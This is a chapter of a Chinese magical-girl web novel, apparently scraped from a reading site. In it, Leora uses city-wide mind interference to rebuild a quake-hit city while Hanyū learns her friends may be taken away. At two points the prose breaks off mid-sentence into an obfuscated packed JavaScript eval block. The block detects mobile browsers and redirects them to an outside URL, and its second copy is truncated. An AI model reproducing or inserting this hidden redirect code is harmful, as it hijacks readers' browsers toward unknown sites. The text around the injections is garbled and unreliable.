“那个时候你也说了,你说你讨厌她。”艾克里普点头,“她在你尚未成长时离开了你,你被仇人保护,所以你说,你讨厌她们。” “你在说什么?”有乐千奈愤怒地说,“我什么时候做出过这种事情来?” “很久,很久以前,一切不过是因为细小的差错走向了不同的方向而已,本质是不会改变的。”艾克里普说,她现在能理解利奥拉为何那样说话了。 “…艾克里普,我真的这么说了吗?”有乐羽生看向艾克里普隐藏着的面孔,“无论是什么时候,什么情况下,我真的说了,我讨厌母亲,讨厌她们的话?” “你说了。”艾克里普悲伤地肯定道,那些遗言她全都记得,“抱歉,你一个人讨厌她们这么久一定很累吧,我,抱歉。” 人类的语言没办法为艾克里普传达她的感受与那恒古不变的悲伤,她明白这一点,为自己感到悲哀,又怜悯有乐羽生,无论是什么时候,什么情况下的她。她也同样怜悯其它的魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808017|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法少女,以及那些她没能留下来的朋友们。 所以,她出现在了这里,艾克里普心想,她要认同利奥拉。她要前往那个没有隔阂的,没有死亡与痛苦的,只属于她们的国度,她理解了人类的感情之后这样的想法更为坚定了。但这样想着时她又转瞬间想起了一个普通人死去的身影。 有乐千奈没有说话,她愤怒,但同时,她却没办法否认,她可能会没办法保护好自己的孩子,从而不得不留她一个人在这世间的可能性。 对吧?艾克里普心想,可能性总是存在。 “我居然能讨厌很多人很久吗?”有乐羽生对这一点感到意外,“我以为我无论多讨厌一个人,也就只会讨厌一会而已,后来顶多就是不想理睬了。” “那是因为你现在是魔法少女,你的本性如此,不会改变。”艾克里普说着,叹了口气,“但人类的感情能持续很长,很久的时间,虽然爆发的时间往往只有一瞬吧。” 但那一瞬,足够人类冲动地做出很多事情来。 “我是魔法少女,就不再是人类了吗?”有乐羽生问道。 “…人类的社会不会认可你的行为和存在的。”艾克里普犹豫地说,她不想伤朋友的心,但她也不会对朋友说谎。 “母亲,你会不要我吗?因为我成为了魔法少女?”有乐羽生看向有乐千奈。 突如其来的提问打破了有乐千奈的沉默,她并没有在这个问题上思索多久。 “除非你自己不回家。”有乐千奈冷笑一声,“就像你现在准备做的这样,懂吗?” “千实阿姨她不回家是因为您不想让她回家吗?”有乐羽生又问。 在这个问题上,有乐千奈沉默了许久。 “她所处的位置会对我的家族造成威胁,我不主动接近那些东西也是因为如此。”有乐千奈回答说,又冷笑一声,“现在好了,因为你的所作所为我以前的努力全都白费了你知道吗?” “这样啊。”有乐羽生点了点头,“最后一个问题!千实阿姨她应该是死去了,她是怎么死的呢?” “…换一个。”有乐千奈说。 “好吧。”有乐羽生很快就想出了下一个问题,“她的遗言是什么?” “哼,净是些毫无意义,毫无威胁力的语句,真搞不懂她跑出去这么多年都学了些什么。”有乐千奈先是冷嘲热讽了一番,随后说,“她说,我这些年过得不错。就这样,就这一句。真是句没出息的遗言,我还以为她跑去见识了些新东西后能带给我什么惊喜,结果不过如此而已。” “为什么呢?”发出这句疑问的人却是艾克里普,“为什么尽是这样的话呢?为什么她们都会露出那样平静的,悲伤的笑容呢?为什么不直接将真正想说的话说出口呢?” 艾克里普看得出那些平静表面下波涛汹涌的情感,于是她知道,有乐千实也一定是这样的。 “这样吗?”有乐羽生却忽然笑了,“千实阿姨她对我可不是那么说的!她说母亲您变得弱小又不敢向前,变得很难继续存活下去,说您让她大失所望了。还说这是因为您生了我,所以才那么执着于杀死我。” 艾克里普一愣,她想起从前,有乐羽生说起她的阿姨时,对方的形象可不是这样的。 “这样吗。”有乐千奈说,她眼尾抽了抽,似乎是想生气,但很快,她垂下了眼睛。 她在悲伤,艾克里普意识到这一点。明明如果是有乐羽生这样说的话,有乐千奈是一定会生气的,但有乐千实这样说时她却在悲伤。为什么?因为她们是姐妹吗?悲伤与愤怒到底哪种更加剧烈一点?艾克里普无法分辨。 “艾克里普,你看,我们是可以回家的。千实阿姨也可以回家的,她也想回家的。”有乐羽生看向了艾克里普,“有家就可以回,有家人的认可,我就可以在社会里活下去。” “没有家的呢?”艾克里普问道,很快,她意识到自己不该向朋友问出如此咄咄逼人的语句,“我,我是想说。” “想回家的人是会去寻找自己的家的,艾克里普。”有乐羽生说,“千实阿姨她,或许也是在外面有了属于自己的家了吧。她还是讨厌我,但是,她却告诉她的姐姐,自己过得不错。我想这是因为她想证明自己的独立,或许杀死我也是她向另一个存在证明自己独立的方式。” 这却又让艾克里普想起了利奥拉,那个要建立起巨大联系网的魔法少女。在那个联系网中每个人都不独立,也不需要独立,每个人都可以随时回归,随时相拥。 “在想关于我的事?”对话中又突然插入一位新人,利奥拉热情地向在场的所有人打招呼,“哎呀,这不是羽生吗?好久不见!不过对我们艾克里普来说这就不算是很久之前的事了对吧?” “您好?”有乐羽生看着这位突然出现的陌生魔法少女,“我们之前认识过吗?” “嗯嗯!认识过的而且很熟!”利奥拉欣喜地点头,又看向有乐千奈,“这不是顾问嘛,您最近应该挺忙的才对,什么风把您给吹来了?” “我不认识你,你是谁?”有乐千奈警惕地问。 “这也难怪,我也是后不久才出场的,不过顾问和我们也是生意上的老相识了吧,我朋友的部分同事与您都还算聊得来。”利奥拉笑着说,并没有表达出多少尊敬的态度,“虽然每个人都对您的服务态度评价超低的就是啦。” “能请您不要这样说我的母亲吗?”有乐羽生皱眉说道。 “为什么你和千实都这么护着她呀?明明你们都挺讨厌她的吧!好啦人类抚养自己长大的存在抱有天然的好感和尊敬我可以理解啦。”利奥拉无奈地眯着眼睛说,“也就是人类的这种关系能如此的不平等了,为什么?因为痛苦过吗?” 有乐羽生不知道该怎么回答利奥拉的话,她觉得自己是不是漏听了什么,不然她怎么会完全无法理解对方话里表达的含义?她确实对这位陌生的魔法少女感到好奇,但现在,她觉得这位的思想有些奇怪,而且危险。 “利奥拉,你是来找我的。”艾克里普打断了对话。 “当然,你也是在等我的吧!”利奥拉理所当然地说,“你的那玩意对我们来说就是一根自带昏迷效果的触发器,但对你来说是不一样的对吧?” 利奥拉飘向艾克里普,她身上那些布条没有沾上地上的脚印和污渍。 “你没有拒绝它,那么,这次你还需要我说服你吗?”利奥拉期待地问。 有乐羽生根本听不懂她们之间的对话的含义,但她想起艾克里普异常的语言和行为,她不认为她们说的是什么好事。 “我们这一生,都在寻求理解与被理解,你以自我为出发点,秉持自我,永不改变地追寻那细微到难以察觉的可能性,而现在,你站在这里。”艾克里普坚定,缓慢,毫不犹豫地说,“利奥拉,我认同你,无论是你的理想,你的目标,你的行为和达成目标的方式,以及你的成就,我都能够理解,认同,甚至还想要表达感谢。” 利奥拉看着艾克里普,她眼里的漆黑闪烁着点点亮光。 “利奥拉。”艾克里普宣读道,“你是真正的魔法少女。” 没有人说话,没有人阻止她说话,没有人回应,也没有人鼓掌。 “你明明还站在这里,却已经能够理解我了。”利奥拉欣喜地闭上眼笑着说,“谢谢你,艾克里普。今天定是值得庆祝的一天,以后,过往,每一年的今天都将是值得庆祝的。那么就从今天开始,就从现在开始吧,我要彰显我的仁慈。” 天色微微地亮了起来,但依旧因朦胧的雾而显得暗沉,有风吹过树木东倒西歪的街道,鸟雀停留在尚且还算完好的电线上,又飞走,行人匆匆。世界影响不到这里,这里似乎也影响不到世界,利奥拉睁开了眼。 “从今以前或者往后,我们不会再需要担心因四散而失去语言系统,所以我们不再需要为了任何目标或利益而聚集,因为无论如何分散,我们的心都将彼此相连,彼此理解。艾克里普,从现在开始魔法少女将不再需要顾虑任何一边了,魔法少女将摆脱语言障碍,也将摆脱社会的约束,我们是真正平等的,我们是同行者。”利奥拉盛大地宣布,“为了庆祝今天,我要为人类展现一个,也是最后一个奇迹。” 谁都看得出利奥拉很开心,但谁都不知道她想做什么。有风吹过,朦胧的雾散去,露出了城市清晰的疤痕。 有乐千奈听着二人之间的谈话,表情嫌弃,不置一词。 不远处,有个粉发的青年以非常不熟练的动作骑着单车往几人的所在处赶来,那单车的车筐中还放着便利店的塑料袋。 “抱歉!我来晚了!”粉发青年非常勉强地翻身下车,因为路面不平整和身体不平衡还差点摔倒,她小心地把自行车停在路边,随后快步利奥拉走去。 有乐羽生发现了气喘吁吁的青年身上的魔力气息,但这并不是属于魔法少女的,而更像是她见过的那些天使身上所有的。 “上午好,有乐千奈,结构性风险缓冲与社会稳定项目执行顾问,有乐羽生,艾克里普-阿尔卡纳。”最后,伦琴温和有礼地看向利奥拉,“利奥拉。” “你就不能想想办法让哪个同事带你一程吗?”利奥拉头疼地说,“不过你来的也不算迟,错过了之前的片段有些可惜就是了。” “她们,不是很喜欢等我把话说完。”伦琴说话非常慢,但还算稳定。 “这就是语言的无力之处啊。”利奥拉说着又笑了起来,“不过这也就是最后一天了,伦琴,使用思维干涉,范围是这整座城市,我要把这座城市恢复为原来的样子,用来庆祝今天。” 这下有乐羽生终于意识到对方想做什么了,她看向艾克里普,却发现她没有动作。 “好的。”伦琴闭了闭眼,“使用昨天的模型可以吗?” “就用那个吧,在天亮起来之前要做完装饰工作呢,不然就会显得主办方不在意这个活动了。”利奥拉苦恼地说,“让孩子们都帮帮忙吧,希望她们也能享受这个我为人类准备的庆典呢。” 说完,利奥拉看向了艾克里普,又看向有乐羽生。 “去度过充实又有意义的一天吧。”利奥拉说着,又看向有乐千奈,“顾问也是一样,现在可不需要您再考虑些什么了,放弃思考,然后度过毫无意义的一天吧!” 伦琴看向了有乐羽生,似乎是想说些什么,但她最后什么都没有说。随后她转身找了个长椅,用黑色衬衫袖子擦了擦上面的露水和灰尘后就坐下了,她背靠后的一瞬间仿佛死了一般失去了对四肢的控制,歪倒在长椅上。利奥拉赶紧过去把她的身体扶正了,但扶正了后又倒下,于是利奥拉坐在她旁边,让她靠在自己肩上。 地面忽然开始颤抖,像是地震的余震,但没有任何玻璃碎开或树木倒下,相反,地面上的一切琐碎的建筑垃圾开始漂浮,如有一双无形的手将它们拾起,并缓缓返回了它们原来该在的位置上。最后裂开的痕迹也消失无踪,那栋本就无人居住的二层废置小楼变回了原来的模样。 利奥拉撑着头看着这一切,魔力在她的手中编织,缓缓连接到这城市中的每一处角落。 这并非个例,整个城市都在缓缓恢复为昨日的模样,有乐羽生不可置信地看着这一点。这并非是时间回溯魔法的效果,而是修复,就连角落里与泥水混合在一起的碎末都被提起回收再利用,灰烬也被用来充当粘合剂。但即使是这样也还是有没能复原的东西,例如缺少了一角的天花板,没能及时连上的信号网络,以及被砸毁车辆和被损坏的植被。 比如那些建筑碎片之下的,死去的人们。 艾克里普抬起石杖,那些植被便恢复生机。这是不可思议的事情,无论是对有乐羽生还是有乐千奈来说,但很快,有乐羽生就意识到了有什么发生了变化。 有乐千奈还看着一切,但视线限制却消失了。 城市中的建筑大恢复最大的难点并不是魔力供应或者模型记录,这些虽然困难但还是有被解决的可能性的。最大的难点在于视线限制,若是说在暗处复原建筑后再展露出来的话便能避开视线限制,但很明显,城市内发生的一切都是直接的。 视线限制的消失让这一切都成为了可能,无论是在人类的注视下将房屋修复也好,让植被复原也好,甚至将被砸坏的车窗再次修复也好,一切都做得到了。 而这一切的起因是什么?有乐羽生想起了“思维干涉”这个名词,看向了那还倒在长椅上的青年。这真的做得到吗?有乐羽生不可置信地想,真的能干涉大范围人类的思维,强行植入“认可魔法存在”的概念,从而达到取消视线限制的可能吗? “正是如此。”艾克里普说道,她在赞叹,“这样恶心的连接魔法才能达成这样的成就,铺张浪费对于庆典来说确实是必需品呢。” “艾克里普?”有乐羽生觉得自己的朋友变得陌生了起来,城市恢复确实是好事,但她想着利奥拉所说的“最后”,却无法产生好的预感。 “没关系,羽生,很快就没关系了。”艾克里普说,她的面容藏在头发与面纱下,但声音非常温柔,“去见见朋友们,然后说些什么,然后记住语言带来的障碍吧。这样你就能在之后理解我,理解那国度的伟大之处了。” 有乐羽生无法理解艾克里普在说些什么,但她能感受到,艾克里普在试图让她理解自己。 “…那就去看看吧,我们一起去。”有乐羽生微笑着说。 85.Day1-中 “你要去哪?”有乐千奈从不可置信的震撼中缓过神来,“未知有致命的风险,这发生的一切都是不可预测的,你要去哪?你不许去!” 有乐羽生看着有乐千奈,没有再隐藏她的羽翼,那洁白无瑕之物出现在世界上,在微暗的空间中仿佛在发光。那是有乐羽生的特征,是即使视线限制存在也可以存在于这世界上,却因其本人的想法一直隐藏起来的特征。 “母亲,这就是我最后瞒着的东西了。”有乐羽生略微有些不好意思地说,“和我的名字是不是挺相称的?哈哈,哎呀!” 有乐千奈狠狠敲了有乐羽生的头。 “说你翅膀硬了你还真的有翅膀啊!”有乐千奈都不知道该从哪里开始骂了,她受到了太多未知之物的震撼,又许久没有休息,一时之间也不知道该表达出什么反应,只是做自己想做的事情,“我给你取这个名字的时候可没想过让你真的长出新的肢体。” “有,有什么关系呢?哎呀!”有乐羽生摸了摸又被敲的脑袋,“我以前可讨厌这个名字了,但是有了翅膀之后我就觉得,一切都是命中注定的,所以又喜欢起这个名字了。” 艾克里普看向有乐羽生,发现她所言皆发自真心。她又想起了一个普通人死去的身影,她的朋友说她不喜欢这个名字来着。 “您好,有乐,阿姨。”艾克里普犹豫着叫出这个名字,随后顶着有乐千奈的怒目而视开口说道,“我想,您也并非真的讨厌这幅羽翼吧,就不要打羽生了吧。” 她还记得有乐羽生念叨起自己被打时的怨念,也看得出有乐千奈心底对那洁白无瑕之物的欣赏。 “家务事你少管,同学。”有乐千奈的眼角抽了抽,“你也是日之森的学生吧,这幅发型是怎么回事?风纪委员从来没有告诉过你头发不可以遮住眼睛吗?” 艾克里普一时语塞,她以前上学一直戴着眼镜,所以从来没人因为发型问题来找过她。 “哼哼。”利奥拉得意地笑了,“虽然说魔法少女独特一点没什么不好,但在同集体中就是要和集体站在一起吧,校服什么的还是在校服店里买比较好,你说呢?” “日之森校服再怎么出新款式都是一样的没新意,哎呀!”有乐羽生又被敲了一下脑袋,不敢再说什么。 “看你这样被敲还挺有意思的!我以前没力气也不太好管你说话夹枪带棒,果然这种事情还是看别人来比较有意思,我可是和平派的。”利奥拉念念有词,“不过现在没关系了吧,顾问,实在不行她还能飞走呢。” “我也会保护她的。”艾克里普郑重地说,“这次无论如何她都不会出事的。” 有乐千奈没有理会那些人,她只是看着自己的孩子,肃然而愤怒地看着。 “母亲,我晚些时候会回来的。”有乐羽生也看着她,这样说道。 “诶?”利奥拉又想说什么,被艾克里普移动过去捏住了下巴。 “…你要去哪里?”有乐千奈沉默了一会,这样问道。 “我要去找我的朋友,然后去做我能做,而且只有我能做的事情,母亲。”有乐羽生说着,羽翼微微展开,她伸出手抱住了有乐千奈,“我爱您,千实阿姨也一定是这样的,所以不用担心的,我除了您这里还能回去哪里呢?” 那是一个轻缓,温柔的怀抱,有乐千奈闻到了有乐羽生身上消毒水和灰尘的味道,也注意到了自己的孩子已经和自己差不多高了。城市还在拼凑自己,但那双羽翼遮去了她大部分视线。 “也是。”有乐千奈笑了笑,她伸出手也拍了拍有乐羽生的背,力道挺重的,“你最好是会按时回来,知道吗?” “嗯!”有乐羽生笑着说,“那么,再见!” 随即,她转身走向艾克里普,艾克里普也向有乐千奈点了点头,二人离开了。 “心情如何?顾问?”利奥拉一只手撑着脑袋看着一动不动的有乐千奈,咧嘴笑了,“您又能怎么办呢?您又能做什么呢?十五年前是这样,现在也是这样,不如也承认一下自己确实变得弱小了如何?那些孩子们可不会和您的武装部队或者契约对象一样听您的话哦?” 有乐千奈顿了顿,回过头去看利奥拉,锐利的眼睛上下扫视了一番她的着装和仪态,嫌弃地嗤笑一声。 “相反,对她们,我什么都不用做。”有乐千奈没有再继续站在那里,她摸出手机,快步走远了。 听了这句话后利奥拉眉头皱起,没有再说什么,只是看着有乐千奈上了一辆车后离开了。 “不过是我创造的生态环境中的一个资源交换中介而已,她到底是为什么能一直是那副确信自己能得到什么的样子呢?”利奥拉不理解道,“阿尔卡纳,你知道为什么吗?” “分析结果,目标有乐千奈的行动轨迹解剖,细分后结果如下:目标不会参与风险行为。”电子音回复道。 “这不就是和千实说的一样嘛!”利奥拉笑着说。 “教练,没有说过类似的话。”伦琴睁开了眼睛,“录音记录中未找到匹配项目。” “是的。”阿尔卡纳回应道。 “你们两个倒是能聊起来。”利奥拉站了起来,“那你们两个聊好了,我走了。” “您还是带上吧。”伦琴站起来时还崴了一下脚,好在有利奥拉扶着,“您呼唤它的次数远超呼唤其它个体姓名的次数,若是它不能回应的话,您的许多话语和问题都无法得到记录了。” “你还会记录这些东西啊。”利奥拉接过伦琴递来的金属棍,“果然我还是不够了解神经方面的疾病,不过以后也不用再担心这些了哈哈!要把我的轮椅借给你坐吗?” “不,不用了,能这样走走对我来说是有趣的事。”伦琴微笑着说。 艾克里普与有乐羽生结伴从庇护所区域往西部市区,也就是震源方向走,有乐羽生没有收起她的翅膀,一路上都轻飘飘地跳着前行,偶尔跳过高了还得等一会才能落到地上。 这是她以往梦想过但从未实践的场景,但现在,街上的异状早已不避开普通人的耳目,许多意识到发生了什么的人一边惊呼着一边拿手机将一切记录下来,偶尔有摄像头瞄准有乐羽生,都会被艾克里普扫开。 她很开心,艾克里普心想,也不禁开心了起来。 “羽生,我们要去哪里?”艾克里普问道,有乐羽生说要去做什么事情,但没说去哪,也没说要做什么。 “我本来是想去灾区帮忙的,但是现在不需要了!”有乐羽生说,她的声音因为行动而忽远忽近,但总围绕在艾克里普身边,“我想去见见晓,还有未央未雅她们,得打个电话问一下她们在哪里,哎呀说起来我的手机还放在她们屋子里呢!” “…是吗?”艾克里普一愣,想了想,还是准备实话实说,“其实啊,她们。” 该说什么呢?艾克里普不禁犹豫道,她不该说谎的,但若是真的要直接说,现在晓和未央未雅已经去了利奥拉那边,不一定还存在城市中吗? “艾克里普?”有乐羽生疑惑地落到艾克里普身边,“发生什么事了?” 艾克里普忽然感到了悲伤,她发现自己好像没有从自己的朋友那里得到她们的遗言。即使是知道她们以后会再次产生联系,甚至更加亲密,艾克里普却依然无法释怀。甚至于,她因为回忆起自己之前的无作为而感到了羞愧。 这就是人类的感情吗?我理解了吗?艾克里普这样想着,有眼泪落了下来。 “哎呀!”有乐羽生一愣,她看见那面纱与发丝之下有水滴落下就知道发生什么了,她摸了摸口袋,那里面还有从庇护所小房间拿的纱布,她仔细地将艾克里普的头发分开别到脑后,那是她熟悉的面孔,没有带眼镜,泪水溢出眼眶,眉头也紧皱着。 “抱歉。”艾克里普闭上眼,眼泪落下更多了,“她们,她们可能不在这里了。” 有乐羽生抬起手的动作一顿,一般来说,用不在了去形容某个人的时候,一般都是在说她们去世了,她不敢相信这一点,她不认为这世界上有谁能在一夜之间杀死她的朋友们。但很快她就想起了利奥拉的存在。 “她们,都死去了吗?”有乐羽生轻声询问道。 “并不是死去,而是去了更好的地方。”艾克里普摇了摇头。 这不就是死了吗?有乐羽生心里大惊,随即,悲伤不可避免地涌了上来。 “是,是她?”有乐羽生深呼吸,再次确认道,“是利奥拉杀死的她们吗?” “…羽生,我没办法让现在的你理解那是怎么一回事,但是,我保证那是一个比这里更好的地方。”艾克里普郑重地说,“她们没有感受到痛苦的,她们理解了利奥拉,利奥拉也会理解她们,那并不是争斗的结果,那是一个没有隔阂,没有——” “艾克里普!”有乐羽生打断道,她再次深呼吸,尽可能平静地问,“她们,是自愿的吗?” 艾克里普溢出的眼泪越来越多了,有乐羽生没有去擦,她盯着艾克里普看。 “不,不是。”艾克里普不知道自己为何在悲伤,她明明可以理解的,“抱歉,抱歉。” 她不知道自己为什么在道歉。明明已经实现了愿望,明明应该已经理解了人类的感情了,艾克里普却依然不理解自己为何在伤心难过。 “那,我也会去那里吗?”有乐羽生问道,她心里已经知道了答案,“利奥拉会带我去那个地方,你不会拦着,你之前也没有阻止她,是这样对吗?” 艾克里普没有说话,她只是在流泪。她意识到自己似乎再次什么都做不了了。但有乐羽生没有继续说什么问什么,她看着艾克里普,等待她的回应。 “…我也会去那里的。”艾克里普说,“我们都会在那里重逢的,不要害怕。” 这句话就是变相的承认了,有乐羽生呼吸一滞,周围的一切都因利奥拉而修复,但她的朋友却不会回来了,这个事实令她感到痛苦。而同时,艾克里普语气中那理所当然的笃定和留下的眼泪让她感到愤怒。 “…那么,你现在不要跟着我了。”有乐羽生说,她没有再微笑,也没有再给艾克里普擦眼泪了,她把纱布扔进艾克里普怀里,面无表情地说,“既然你确信我们之后会重逢,那你现在自己找个地方待着去吧。” 说完,有乐羽生转身就走了,她高高地跳起,没有要等艾克里普的意思。 她生气了,艾克里普明白这一点,她不知为何之前有乐千奈那样打有乐羽生她都没有生气,但她这样反复说着真实的话,向她许下真实美好的未来,有乐羽生却生气了。 “因为她不理解,没关系的。”艾克里普喃喃自语,她拿起纱布,又看向石杖,“她会理解我的,我们所有人都会重逢,对吗?” 石杖没有说话。 有乐羽生一路朝西部市区的方向跑去,路上的行人越是惊叹,她心中的愤怒与悲伤就越是汹涌,她甚至不知道自己该去哪,只是漫无目的地前进着。她的左手边不远处是中心湖运河河道,不知是因为地震还是下雨,那河道边的大面积草地都如被牛群践踏过一般糜烂。 “哇你看,那个人有翅膀诶!”被修复好的过河桥的上边有个年轻人在惊叹。 有乐羽生一顿,这样的对话她之前听到过不少,她还在想要不干脆就把翅膀收起来算了,就听见那年轻人再次开口。 “只有一边诶,道具做的好真啊!”那年轻人说。 有乐羽生循声看去,糜烂草地与河床那模糊的边界上,有两个蓝头发的年轻人并肩站着,其中一个人是六十七号,另一个人的左半边身体被反射着金属光泽的羽翼覆盖着,她认出了对方的存在,那是曾经作为天使的一员之一的拉德。 “就那。”六十七号指了指那桥洞里面,“我就躲那个里面,很黑吧。” “确实。”拉德点头。 “不过从那里看水流还挺有意思的,有种在漂流的感觉,你要不要试试?”六十七号邀请道,他身上还穿着曾经那套制服,但右半边肩膀连着整个右手臂缠着绷带,看上去倒是和站在他旁边的拉德挺对称的。 “不要,很脏。”拉德摇头。 “也是哦。”六十七号用左手挠了挠头,“好吧,那算了。” 有乐羽生有些犹豫,那两个人看上去相处的挺和谐的,但她知道他们曾经打照面的时候可是差点把彼此杀掉的关系。她知道六十七号想的开,但拉德如何就不一定了。 拉德忽然回过头,看见了有乐羽生,他顿了顿,竟是回头用右手抚胸行了一个简单的问候礼。六十七号见了也赶忙回头行了个礼,因为仓促而显得有些不标准。 “…你们好。”有乐羽生现在只能开口打招呼了,她还因为朋友的事情心情沉重着,没法说出什么场面话来问候。 “有乐小姐,早上好!”六十七号有礼地微笑回应,“真高兴看到您平安无事!” 这是再普通不过的问候了,有乐羽生看着远方,她不曾见过城市因地震而倒塌的情况,就也没对城市的现状感到多意外,只是,眼前二人站在一起的场景实在是戏剧化十足。 “你是,拉德,对吧?”有乐羽生迟疑地问道,“亚贝琉拉德,天使的一员。” “正是。”拉德点头,“称呼我为拉德就好,现在我们已经不需要再重点强调家族姓氏了。” 看来之前强调姓氏的行为主要是是为了向那些普通人施压,有乐羽生了然,她看着拉德平静的模样,又想起自己的朋友们,心中不禁感到愤慨。 “你在这里是准备做什么?继续杀人?”有乐羽生问道,“那你遇到我就该先跑的。” “利奥拉让我们帮忙,并且享受节日。”拉德皱眉说,“我现在并没有这方面的任务。” “我也是!”六十七号晃了晃被绷带缠绕的手臂,“老板说我之前挡枪时被摄像头拍到了,这几天得多这样出门逛逛,没想到还能在这里遇到他呢。” 有乐羽生不禁叹了口气,她有气都不知道该如何发泄,天使杀人无数,可也只是工具,若是工具没有在工作的话那她还应该动手吗? “利奥拉是你的新老板吗?”六十七号好奇地问,“之前那个呢?哦对了她死了来着,哈哈!” “我们是同事关系。”拉德皱眉,“你想死?” 有乐羽生甚至期待他们能打起来。 “不想!最近准备好好活下去了!”六十七号认真地说。 “我不理解你,不过之后可能会理解。”拉德说,“我要回去了,这里太潮湿了,会让我的翅膀生锈。” “回去?你回哪去?”有乐羽生有些紧张,“Evo吗?” “不。”拉德摇头,“我们都会回去的,你们也一样。” 听到这句话,有乐羽生的呼吸再次一滞,她张了张嘴,最后什么都没有说。这不过是个人造人,年龄算起来和小学生差不多,有乐羽生想到这里感到无奈又生气。 “回去哪?”六十七号奇怪地问,“我还没准备回去呢,而且我们早就不会再回同一个房间了吧?” “会的,很快。”拉德说着,笑了笑,看向有乐羽生,“你不想回去吗?” “…我有的选吗?”有乐羽生笑不出来。 “应该是没有的,利奥拉从来不管别人在想什么。”拉德说完似乎是意识到了什么,讶异地说,“那就只剩今天能在外面玩了吧,不对。总之,你就趁这段时间与你的朋友们说点什么吧。” “我的朋友们,她们不在这里了。”有乐羽生说,她的声音很轻。 “不在吗?我之前还看到犬山小姐了,她走了吗?”六十七号好奇地问,“她速度一向很快,这倒也不稀奇。” 这句话让有乐羽生意识到了什么,她的心跳缓缓加快。 “她们,晓,还有未央未雅她们,现在还在这里吗?”有乐羽生期盼又小心地问,“艾克里普和我说她们不在这里了,她们现在还在这里吗?” 这句话实在是词不达意,有乐羽生担心对方能不能听懂自己在说什么。 “如果你是说,个人现在的地理位置是否存在于这座城市中的话,那么,确实是如此的。”拉德点头,“利奥拉说,每个人都要享受庆典。” 天空与有乐羽生的眼睛一起缓缓亮了起来,今天是个大晴天。 “谢谢,谢谢你。”有乐羽生道谢,她发自内心地感谢这个消息的出现。 “不客气。”拉德点头。 “那你是要走了吗?”六十七号问道。 “还是再待一会吧。”拉德说。 有乐羽生加速往城市内跑去,她不知道自己的朋友在哪里,没有目的地,但是她感到期待。即使今天就是最后一天,今日过后她就要去一个不知道是哪里的地方了,但是现在,她可以去见她的朋友们。 这样想着,有乐羽生露出了微笑。 目前,有乐羽生所在的位置是临近中央港区的居民区,左手南边中心湖运河彼岸就是中心绿地公园,她一路往西部市区跑,不久之后就抵达了中央港区与西部市区的交接处,区域之间的分界线并不明显,但有路牌说明前方就是另一个区域了。 路牌旁是一栋办公楼,办公楼楼下,启明星正靠着大门前的竖纹立柱,和一旁的工作人员们说着些什么,有乐羽生看着对方没带眼罩的样子有些惊奇。 “有乐小姐,上午好!”启明星抬手问好,“想必您也是因这奇迹般的一幕赶来的吧。” “您好,启明星。”有乐羽生知道对方事务所出事,没有提及侦探,“地震时我身处庇护所中,所以并不知道具体发生了什么。但这一切的原因我大概了解一些。” 不远处的西部市区商业区的商场高楼之间忽然连起长绳,转瞬间一盏盏灯笼出现在绳子下方,哪怕在白日里也显得耀眼。 “这方面我倒是也看得清楚了。”启明星没有对这一幕表达哪怕丝毫的赞美,她一边低头写着些什么一边说,“早些时间我的临时办公室遭了挖墙角的,那位如幽灵一般的身姿我可不敢忘。不过她说要做些什么,没想到是带来这世界末日一般的情景呢。” “您觉得这是世界末日吗?”有乐羽生激动地说,她觉得终于找到能理解她的人了,“您也遇到利奥拉了吗?您平安无事真是太好了!” “毕竟那些街上的尸体可是再显眼不过了。”启明星说着,将手里的文件交给了一旁的工作人员,“今天办公室关闭,不接待新客人了。” “咦?”那工作人员一愣,“那什么时候继续呢?” “可能明天,可能再也不。”启明星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实,我也是知道魔法少女并不是一定要多么在乎正义和秩序的,我一开始成为魔法少女的那段时间基本上就是在享受魔法的乐趣,偶尔击败了魔物就觉得自己很了不起。”有乐羽生坦诚道,“所以一开始看到艾克里普那样说的时候我感到有些惭愧,又说了些很伤人的话。但是艾克里普非常温柔地原谅了我,还说,相信我本质是个好孩子。” 启明星默默听着,她顿了顿,陷入了思索之中。 “可是她却承认了,承认利奥拉带走了她们,也准备让利奥拉带走我,我不想去那里,不管那里是哪里我都不想去!”有乐羽生悲伤地说,“她自己明明也对这件事感到悲伤,她哭的那么伤心,为什么还是要那样做呢?” “原来如此,原来如此,原来如此!”启明星的笑容越来越大了,“原来是这样,原来是这么一回事啊!” 看着这样的启明星,哪怕有乐羽生不知道对方在说什么也不禁安心了起来。 “您有想到什么办法吗?”有乐羽生期待地说。 “是的,有乐小姐,这是唯一的办法,也是只有您能做到的,唯一的挣扎!”启明星郑重地说着,从一旁的手提包里取出了一个摄影机,并不是什么现代化的科技产物,甚至型号有些老旧了,“这是紧急记录用的,现在也算是能派上一些用场了。” 启明星将摄像机递给有乐羽生,她接过,好奇地拿起看了看。 “有乐小姐,艾克里普小姐常说自己经历了普通人难以想象的漫长岁月,那么她所说的很久以前的事情,那应该就是真的久远到我们甚至要去从历史里找痕迹了吧。”启明星说着,教了有乐羽生怎么使用这台照相机。 “那么久吗?”有乐羽生吓了一跳,艾克里普曾和她说过自己和她的祖辈年龄相似,这就足够她惊叹了,没想到还有更能令她惊叹的事实出现。 “假设一千年如何?”启明星想了想,“您说,艾克里普小姐她一直以来都靠什么去记住自己的回忆,又是为什么会遗忘呢?” “我们用脑子记,艾克里普的话,有这种能记住东西的魔法吗?如果没有的话那记住这么多东西也太辛苦了,不过艾克里普说自己是魔法集合体,或许是不同的?”有乐羽生苦思冥想,她知道自己不擅长推演,但她不想放弃思考,“可是她又说自己忘记了,什么事情能让一个能记住这么多东西的她突然忘记这么多东西呢?” “重点在于她想不想要,魔法的话,最大的解释权在她那边。”启明星说。 